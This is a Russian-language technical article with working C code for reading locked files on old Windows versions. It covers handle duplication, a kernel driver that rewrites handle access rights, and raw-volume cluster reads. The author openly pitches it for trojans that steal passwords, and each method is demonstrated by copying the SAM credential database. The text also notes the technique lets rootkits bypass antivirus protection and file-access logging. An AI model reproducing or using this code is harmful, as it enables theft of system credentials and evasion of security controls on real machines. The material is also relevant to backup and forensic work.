У многих из вас, несомненно, когда-либо возникала необходимость читать/писать файлы занятые другим процессом. Это бывает например при написании бекапера, или (как ни странно) трояна. Неплохо иметь возможность стянуть файл SAM с работающей системы, или прочитать какие-либо еще файлы, доступ к которым (по недоразумению Microsoft) получить стандартными средствами не удается. Это бывает например, когда файл открыт с флагом dwShareMode = 0. Хорошим примером может быть интернет пейджер Miranda, которая во время своей работы не дает открывать файл своей базы данных. Допустим нам нужно написать трояна, который при попадании на машину вытаскивает с нее пароли и самоудаляется, но тут и возникает проблема... Поэтому я и решил написать эту статью. Статья получилась небольшая, но возможно приведенная в ней информация может быть кому-нибудь полезной. Итак, приступим.
Если файл открыт каким-либо процессом, то этот процесс имеет его хэндл. Во второй моей статье по перехвату апи я описывал открытие процесса путем поиска нужного хэндла, ничто не мешает нам использовать этот метод и для доступа к открытым файлам. Нам нужно перечислить хэндлы с помощью ZwQuerySystemInformation, скопировать каждый хэндл себе с помощью DuplicateHandle, определить файл к которому он относиться (ZwQueryInformationFile), и если это нужный файл, то наконец можно его копировать.
Все это хорошо и гладко в теории, а на практике придется столкнуться с двумя подводными камнями. Первая проблема состоит в том, что при вызове ZwQueryInformationFile для хэндла открытого именованного канала, (в случае если этот канал работает в блокирующем режиме) вызывающий поток будет ждать поступления сообщения в канал, а это событие может никогда и не произойти. Тоесть фактически, поток вызывающий ZwQueryInformationFile может повиснуть навсегда. Поэтому получение имен файлов не следует делать в основном потоке перебирающем хэндлы, для этого следует запускать отдельный поток и прибивать его по таймауту в случае зависания. Проблема номер два заключается в том, что после копирования хэндла, оба хэндла (наш и процесса открывшего файл) будут указывать на один FileObject, а следовательно текущий режим ввода-вывода, позиция в файле и другая связанная с файлом информация будут общими у двух процессов. При таком раскладе даже чтение файла будет вызывать изменение позиции чтения и нарушение нормальной работы программы открывшей файл. Чтобы этого избежать, нам нужно останавливать потоки процесса владельца файла, сохранять текущую позицию, копировать файл, восстанавливать текущую позицию и запускать процесс владелец снова. Такой метод может быть во многих случаях неприемлемым, например скопировать файлы реестра на работающей системе с его помощью не удастся.
Попробуем для начала реализовать перечисление всех открытых в системе файлов. При перечислении хэндлов, каждый хэндл будет описываться следующей структурой:
typedef struct _SYSTEM_HANDLE
{
ULONG uIdProcess;
UCHAR ObjectType;
UCHAR Flags;
USHORT Handle;
POBJECT pObject;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;Поле ObjectType здесь определяет тип объекта к которому относиться хэндл. И тут нас опять поджидает проблема - ObjectType для типа File имеют разное значение в Windows 2000, XP и 2003, поэтому нам придется определить эту константу динамически. Для этого откроем с помощью CreateFile девайс NUL, найдем его хэндл и запомним его тип:
UCHAR GetFileHandleType()
{
HANDLE hFile;
PSYSTEM_HANDLE_INFORMATION Info;
ULONG r;
UCHAR Result = 0;
hFile = CreateFile("NUL", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
Info = GetInfoTable(SystemHandleInformation);
if (Info)
{
for (r = 0; r < Info->uCount; r++)
{
if (Info->aSH[r].Handle == (USHORT)hFile &&
Info->aSH[r].uIdProcess == GetCurrentProcessId())
{
Result = Info->aSH[r].ObjectType;
break;
}
}
HeapFree(hHeap, 0, Info);
}
CloseHandle(hFile);
}
return Result;
}Теперь зная тип хзндла мы можем перечислить открытые в системе файлы. Для начала реализуем получение имени открытого файла по его хэндлу:
typedef struct _NM_INFO
{
HANDLE hFile;
FILE_NAME_INFORMATION Info;
WCHAR Name[MAX_PATH];
} NM_INFO, *PNM_INFO;
DWORD WINAPI
GetFileNameThread(PVOID lpParameter)
{
PNM_INFO NmInfo = lpParameter;
IO_STATUS_BLOCK IoStatus;
int r;
NtQueryInformationFile(NmInfo->hFile, &IoStatus, &NmInfo->Info,
sizeof(NM_INFO) - sizeof(HANDLE), FileNameInformation);
return 0;
}
void GetFileName(HANDLE hFile, PCHAR TheName)
{
HANDLE hThread;
PNM_INFO Info = HeapAlloc(hHeap, 0, sizeof(NM_INFO));
Info->hFile = hFile;
hThread = CreateThread(NULL, 0, GetFileNameThread, Info, 0, NULL);
if (WaitForSingleObject(hThread, INFINITE) == WAIT_TIMEOUT) TerminateThread(hThread, 0);
CloseHandle(hThread);
memset(TheName, 0, MAX_PATH);
WideCharToMultiByte(CP_ACP, 0, Info->Info.FileName, Info->Info.FileNameLength >> 1, TheName, MAX_PATH, NULL, NULL);
HeapFree(hHeap, 0, Info);
}Вот теперь собственно можно и перечислить открытые файлы:
void main()
{
PSYSTEM_HANDLE_INFORMATION Info;
ULONG r;
CHAR Name[MAX_PATH];
HANDLE hProcess, hFile;
hHeap = GetProcessHeap();
ObFileType = GetFileHandleType();
Info = GetInfoTable(SystemHandleInformation);
if (Info)
{
for (r = 0; r < Info->uCount; r++)
{
if (Info->aSH[r].ObjectType == ObFileType)
{
hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, Info->aSH[r].uIdProcess);
if (hProcess)
{
if (DuplicateHandle(hProcess, (HANDLE)Info->aSH[r].Handle,
GetCurrentProcess(), &hFile, 0, FALSE, DUPLICATE_SAME_ACCESS))
{
GetFileName(hFile, Name);
printf("%s\n", Name);
CloseHandle(hFile);
}
CloseHandle(hProcess);
}
}
}
HeapFree(hHeap, 0, Info);
}
}Теперь для копирования файла нам остается лишь прочитать его с помощью ReadFile при нахождении нужного хэндла. При необходимости следует принять вышеописанные меры осторожности.
Из достоинств этого метода можно отметить простоту его реализации, но недостатков к сожалению куда больше, поэтому этот метод стоит использовать разве что для определения того, каким процессом занят файл.
Все занятые файлы (за исключением файлов подкачек) обычно удается открыть на чтение атрибутов (FILE_READ_ATTRIBUTES), это позволяет читать атрибуты файла, получать его размер, перечислять NTFS потоки, но к сожалению ReadFile завершается неудачно. Чем отличается открытие файла с разными атрибутами доступа? Очевидно, что при открытии файла система запоминает атрибуты доступа, и потом сравнивает запрашиваемый доступ с этими атрибутами. Если найти то место, куда система сохраняет эту информацию и изменить атрибуты доступа, то можно будет не только читать, а даже писать в любой файл который удалось вообще как-либо открыть.
На уровне пользователя мы работаем с файлом не напрямую, а через его хэндл (этот хэндл указывает на FileObject), а функции ReadFile/WriteFile вызывают ObReferenceObjectByHandle указывая ему соответствующий тип доступа. Из этого можно сделать вывод, что права доступа хранятся в самой структуре описывающей хэндл. И действительно, структура HANDLE_TABLE_ENTRY содержит поле GrantedAccess, которое и есть ни что иное, как эти самые права доступа связанные с хэндлом. К сожалению, программисты Mocrosoft не предусмотрели API для изменения доступа хэндлов, поэтому, как вы поняли, нам придется писать драйвер чтобы это сделать.
Структуру таблиц хэндлов в Windows 2000 и XP я рассматривал в статье "Обнаружение скрытых процессов", к написанному там хочу лишь добавить, что таблицы хэндлов в Windows 2003 полностью аналогична XP. В отличии от той статьи, нам нужно будет не перечислять хэндлы в таблице, а найти какой-то конкретный (известный) хэндл, и работать мы будем не с PspCidTable, а с таблицей хэндлов своего процесса, указатель на которую находиться в его структуре EPROCESS (смещение 0x128 в 2000 и 0x0C4 в XP).
Для получения указателя на структуру хэндла случит неэкспортируемая функция ExpLookupHandleTableEntry, но искать мы ее не будем, так как на нее нет прямых ссылок из экспортируемых функций и поиск будет слишком ненадежным, к тому же нам тогда понадобиться еще и функция ExUnlockHandleTableEntry. Лучшим выходом будет написать свою функцию лукапа по таблицам хэндлов. В виду отличия структур таблиц хэндлов в Windows 2000 и XP, эта функция для них будет выглядеть по разному.
Для начала сделаем такую функцию для Windows 2000:
PHANDLE_TABLE_ENTRY
Win2kLookupHandleTableEntry(
IN PWIN2K_HANDLE_TABLE HandleTable,
IN EXHANDLE Handle
)
{
ULONG i, j, k;
i = (Handle.Index >> 16) & 255;
j = (Handle.Index >> 8) & 255;
k = (Handle.Index) & 255;
if (HandleTable->Table[i])
{
if (HandleTable->Table[i][j])
{
return &(HandleTable->Table[i][j][k]);
}
}
return NULL;
}Этот код прост и понятен. Так как значение хэндла представляет из себя три индекса в трехуровневой таблице, то мы просто извлекаем их чисти и смотрим соответствующий элемент таблицы (если он конечно существует). Так как таблица хэндлов в Windows XP может иметь от одного до трех уровней, то код лукапа соответственно будет сложнее:
PHANDLE_TABLE_ENTRY
XpLookupHandleTableEntry(
IN PXP_HANDLE_TABLE HandleTable,
IN EXHANDLE Handle
)
{
ULONG i, j, k;
PHANDLE_TABLE_ENTRY Entry = NULL;
ULONG TableCode = HandleTable->TableCode & ~TABLE_LEVEL_MASK;
i = (Handle.Index >> 17) & 0x1FF;
j = (Handle.Index >> 9) & 0x1FF;
k = (Handle.Index) & 0x1FF;
switch (HandleTable->TableCode & TABLE_LEVEL_MASK)
{
case 0 :
Entry = &((PHANDLE_TABLE_ENTRY)TableCode)[k];
break;
case 1 :
if (((PVOID *)TableCode)[j])
{
Entry = &((PHANDLE_TABLE_ENTRY *)TableCode)[j][k];
}
break;
case 2 :
if (((PVOID *)TableCode)[i])
if (((PVOID **)TableCode)[i][j])
{
Entry = &((PHANDLE_TABLE_ENTRY **)TableCode)[i][j][k];
}
break;
}
return Entry;
}Как вы видите, хэндл в этом коде представлен не ULONG значением, а структурой EXHANDLE:
typedef struct _EXHANDLE
{
union
{
struct
{
ULONG TagBits : 02;
ULONG Index : 30;
};
HANDLE GenericHandleOverlay;
};
} EXHANDLE, *PEXHANDLE;Как вы видите, хэндл содержит не только индексы в таблице, но и 2 бита служебных флагов. Наверное вы замечали, что одинаковый хэндл может иметь несколько разных значений, это связано с тем, что не все биты значения хэндла используются (зависит от числа уровней в таблице). Наиболее характерно это явление проявляется в Windows XP.
Итак, теперь мы можем получить нужный элемент таблицы хэндлов, пора писать функцию устанавливающую на хэндл нужные атрибуты доступа:
BOOLEAN SetHandleAccess(
IN HANDLE Handle,
IN ACCESS_MASK GrantedAccess
)
{
PHANDLE_TABLE ObjectTable = *(PHANDLE_TABLE *)RVATOVA(PsGetCurrentProcess(), ObjectTableOffset);
PHANDLE_TABLE_ENTRY Entry;
EXHANDLE ExHandle;
ExHandle.GenericHandleOverlay = Handle;
Entry = ExLookupHandleTableEntry(ObjectTable, ExHandle);
if (Entry) Entry->GrantedAccess = GrantedAccess;
return Entry > 0;
}Теперь сделаем драйвер устанавливающие атрибуты доступа на хэндл переданный ему по DeviceIoControl. Его код будет выглядеть так:
NTSTATUS DriverIoControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
PIO_STACK_LOCATION pisl = IoGetCurrentIrpStackLocation(Irp);
NTSTATUS status = STATUS_UNSUCCESSFUL;
ULONG BuffSize = pisl->Parameters.DeviceIoControl.InputBufferLength;
PUCHAR pBuff = Irp->AssociatedIrp.SystemBuffer;
HANDLE Handle;
ACCESS_MASK GrantedAccess;
Irp->IoStatus.Information = 0;
switch(pisl->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL1:
if (pBuff && BuffSize >= sizeof(HANDLE) + sizeof(ACCESS_MASK))
{
Handle = *(HANDLE*)pBuff;
GrantedAccess = *(ACCESS_MASK*)(pBuff + sizeof(HANDLE));
if (Handle != (HANDLE)-1 && SetHandleAccess(Handle, GrantedAccess)) status = STATUS_SUCCESS;
}
break;
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DriverCreateClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
PCWSTR dDeviceName = L"\\Device\\fread";
PCWSTR dSymbolicLinkName = L"\\DosDevices\\fread";
NTSTATUS status;
PDRIVER_DISPATCH *ppdd;
RtlInitUnicodeString(&DeviceName, dDeviceName);
RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);
switch (*NtBuildNumber)
{
case 2600:
ObjectTableOffset = 0x0C4;
ExLookupHandleTableEntry = XpLookupHandleTableEntry;
break;
case 2195:
ObjectTableOffset = 0x128;
ExLookupHandleTableEntry = Win2kLookupHandleTableEntry;
break;
default: return STATUS_UNSUCCESSFUL;
}
status = IoCreateDevice(DriverObject,
0,
&DeviceName,
FILE_DEVICE_UNKNOWN,
0,
TRUE,
&deviceObject);
if (NT_SUCCESS(status))
{
status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
if (!NT_SUCCESS(status)) IoDeleteDevice(deviceObject);
DriverObject->DriverUnload = DriverUnload;
}
ppdd = DriverObject->MajorFunction;
ppdd [IRP_MJ_CREATE] =
ppdd [IRP_MJ_CLOSE ] = DriverCreateClose;
ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;
return status;
}Поле GrantedAccess в структуре хэндла к сожалению не соответствует атрибутам открытия файла (GENERIC_READ, GENERIC_WRITE e.t.c.), поэтому при установке новых атрибутов доступа нам понадобятся следующие константы:
#define AC_GENERIC_READ 0x120089
#define AC_GENERIC_WRITE 0x120196
#define AC_DELETE 0x110080
#define AC_READ_CONTROL 0x120080
#define AC_WRITE_DAC 0x140080
#define AC_WRITE_OWNER 0x180080
#define AC_GENERIC_ALL 0x1f01ff
#define AC_STANDARD_RIGHTS_ALL 0x1f0080
Теперь напишем простую программку которая используя этот драйвер будет копировать SAM файл в корень диска c:
#include <windows.h>
#include "hchange.h"
BOOLEAN SetHandleAccess(
HANDLE Handle,
ACCESS_MASK GrantedAccess
)
{
HANDLE hDriver;
ULONG Bytes;
ULONG Buff[2];
BOOLEAN Result = FALSE;
hDriver = CreateFile("\\\\.\\haccess", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
if (hDriver != INVALID_HANDLE_VALUE)
{
Buff[0] = (ULONG)Handle;
Buff[1] = GrantedAccess;
Result = DeviceIoControl(hDriver, IOCTL1, Buff, sizeof(Buff), NULL, 0, &Bytes, NULL);
CloseHandle(hDriver);
}
}
void main()
{
HANDLE hFile, hDest;
ULONG Size, Bytes;
PVOID Data;
CHAR Name[MAX_PATH];
GetSystemDirectory(Name, MAX_PATH);
lstrcat(Name, "\\config\\SAM");
hFile = CreateFile(Name, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
if (SetHandleAccess(hFile, AC_GENERIC_READ))
{
Size = GetFileSize(hFile, NULL);
Data = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (Data)
{
ReadFile(hFile, Data, Size, &Bytes, NULL);
hDest = CreateFile("c:\\SAM", GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);
if (hDest != INVALID_HANDLE_VALUE)
{
WriteFile(hDest, Data, Size, &Bytes, NULL);
CloseHandle(hDest);
}
VirtualFree(Data, 0, MEM_RELEASE);
}
}
CloseHandle(hFile);
}
}
Самым большим недостатком этого метода является сильная зависимость от операционной системы. Также его применение вынуждает таскать с своей прогой драйвер, что не всегда приемлемо. Но в плане надежности этот способ один из лучших, поэтому я рекомендую его применять в бекаперах (но только после продолжительного тестирования и отладки!). Но так как способ не подходит для любых ситуаций, мы перейдем к следующему способу.
"Прямой доступ к диску" это конечно круто, но спешу разочаровать некоторых любителей программирования в DOS, никакой работы с железом не будет, так как мелкомягкие позаботились о нашем благополучии и предоставили удобные и простые API через которые можно работать с диском почти "напрямую". Как вы уже поняли - речь идет об открытии тома в RAW режиме и чтении файла покластерно. Надеюсь никто еще не испугался :)
Если решать эту задачу "в лоб", вручную парся структуры файловой системы, то мы рискуем написать много лишнего кода и преждевременно нажить геморрой, поэтому делать мы это не будем, а еще раз обратимся к великому мануалу мелкомягких - MSDN. Очень полезным для нас будут разделы "Defragmenting Files " и "Disk Management Control Codes", именно там описаны управляющие коды драйвера файловой системы, которые используют в своей работе различные дефрагментаторы. Если вы удосужились открыть MSDN, то несомненно обнаружили, что IOCTL код FSCTL_GET_RETRIEVAL_POINTERS позволяет получить карту размещения файла. Тоесть нам достаточно с помощью этого IOCTL получить список кластеров занятых файлом и прочитать их.
При вызове DeviceIoControl с этим кодом, InputBuffer должен содержать структуру STARTING_VCN_INPUT_BUFFER описывающую начальный элемент цепочки кластеров с которого мы хотим получить карту размещения файла, а после успешного выполнения функции OutputBuffer будет содержать структуру RETRIEVAL_POINTERS_BUFFER которая описывает карту размещения. Давайте рассмотрим эти структуры подробнее:
typedef struct
{
LARGE_INTEGER StartingVcn;
} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER;
typedef struct RETRIEVAL_POINTERS_BUFFER
{
DWORD ExtentCount;
LARGE_INTEGER StartingVcn;
struct
{
LARGE_INTEGER NextVcn;
LARGE_INTEGER Lcn;
} Extents[1];
} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;С первой структурой все понятно, нам просто нужно передать 0 в StartingVcn.QuadPart, а вот формат выдаваемой структуры следует рассмотреть подробнее. Первое поле (ExtentCount) содержит количество элементов Extents в структуре. StartingVcn - номер первой цепочки кластеров файла. Каждый элемент Extents содержит поле NextVcn содержит количество кластеров в цепочке, а Lcn - номер ее первого кластера. Тоесть выходная информация представляет из себя массив описателей цепочек, каждая из которых может содержать по несколько кластеров.
Итак, теперь структура выходной информации понятна, и пришла пора написать функцию получающую полный список кластеров файла и представляющую его в виде массива:
ULONGLONG *GetFileClusters(
PCHAR lpFileName,
ULONG ClusterSize,
ULONG *ClCount,
ULONG *FileSize
)
{
HANDLE hFile;
ULONG OutSize;
ULONG Bytes, Cls, CnCount, r;
ULONGLONG *Clusters = NULL;
BOOLEAN Result = FALSE;
LARGE_INTEGER PrevVCN, Lcn;
STARTING_VCN_INPUT_BUFFER InBuf;
PRETRIEVAL_POINTERS_BUFFER OutBuf;
hFile = CreateFile(lpFileName, FILE_READ_ATTRIBUTES,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
*FileSize = GetFileSize(hFile, NULL);
OutSize = sizeof(RETRIEVAL_POINTERS_BUFFER) + (*FileSize / ClusterSize) * sizeof(OutBuf->Extents);
OutBuf = malloc(OutSize);
InBuf.StartingVcn.QuadPart = 0;
if (DeviceIoControl(hFile, FSCTL_GET_RETRIEVAL_POINTERS, &InBuf,
sizeof(InBuf), OutBuf, OutSize, &Bytes, NULL))
{
*ClCount = (*FileSize + ClusterSize - 1) / ClusterSize;
Clusters = malloc(*ClCount * sizeof(ULONGLONG));
PrevVCN = OutBuf->StartingVcn;
for (r = 0, Cls = 0; r < OutBuf->ExtentCount; r++)
{
Lcn = OutBuf->Extents[r].Lcn;
for (CnCount = OutBuf->Extents[r].NextVcn.QuadPart - PrevVCN.QuadPart;
CnCount; CnCount--, Cls++, Lcn.QuadPart++) Clusters[Cls] = Lcn.QuadPart;
PrevVCN = OutBuf->Extents[r].NextVcn;
}
}
free(OutBuf);
CloseHandle(hFile);
}
return Clusters;
}На выходе этой функции мы имеем массив описывающий кластеры файла и число этих кластеров, теперь можно легко скопировать файл:
void FileCopy(
PCHAR lpSrcName,
PCHAR lpDstName
)
{
ULONG ClusterSize, BlockSize;
ULONGLONG *Clusters;
ULONG ClCount, FileSize, Bytes;
HANDLE hDrive, hFile;
ULONG SecPerCl, BtPerSec, r;
PVOID Buff;
LARGE_INTEGER Offset;
CHAR Name[7];
Name[0] = lpSrcName[0];
Name[1] = ':';
Name[2] = 0;
GetDiskFreeSpace(Name, &SecPerCl, &BtPerSec, NULL, NULL);
ClusterSize = SecPerCl * BtPerSec;
Clusters = GetFileClusters(lpSrcName, ClusterSize, &ClCount, &FileSize);
if (Clusters)
{
Name[0] = '\\';
Name[1] = '\\';
Name[2] = '.';
Name[3] = '\\';
Name[4] = lpSrcName[0];
Name[5] = ':';
Name[6] = 0;
hDrive = CreateFile(Name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
if (hDrive != INVALID_HANDLE_VALUE)
{
hFile = CreateFile(lpDstName, GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
Buff = malloc(ClusterSize);
for (r = 0; r < ClCount; r++, FileSize -= BlockSize)
{
Offset.QuadPart = ClusterSize * Clusters[r];
SetFilePointer(hDrive, Offset.LowPart, &Offset.HighPart, FILE_BEGIN);
ReadFile(hDrive, Buff, ClusterSize, &Bytes, NULL);
BlockSize = FileSize < ClusterSize ? FileSize : ClusterSize;
WriteFile(hFile, Buff, BlockSize, &Bytes, NULL);
}
free(Buff);
CloseHandle(hFile);
}
CloseHandle(hDrive);
}
free(Clusters);
}
}Вот собственно и все, скопировать SAM теперь просто как три рубля :). В примерах к статье есть программка копирующая SAM в файл указанный в ее командной строке.
Несомненно этот метод выглядит просто и кажется весьма мощным, но к сожалению и ему присущи недостатки. Таким способом можно читать только файлы которые можно открыть с доступом FILE_READ_ATTRIBUTES (не читаются только файлы подкачки), файл обязательно должен быть не сжат, не зашифрован (иначе мы прочитаем ерунду), и должен иметь свой кластер (маленькие файлы в NTFS могут целиком размещаться в MFT). Также следует учесть, что во время чтения файл может быть изменен (и мы получим в результате фиг знает что).
Итак, как работать с файловой системой на низком уровне, я думаю всем теперь понятно. Эта методика открывает немалые возможности для различных руткитов. Существуют программы защищающие системные файлы от модификации, (примером такой программы может быть антивирус), но при наличии прав достаточных для открытия тома в RAW режиме, такие ограничения быстро сходят на нет. К тому же хороший администратор может настроить ведение логов чтения/записи важных файлов на своем сервере, а прямой доступ к тому никаких логов не оставляет, но для полноценного доступа к файлам придется писать свой драйвер NTFS.
[C] Ms-Rem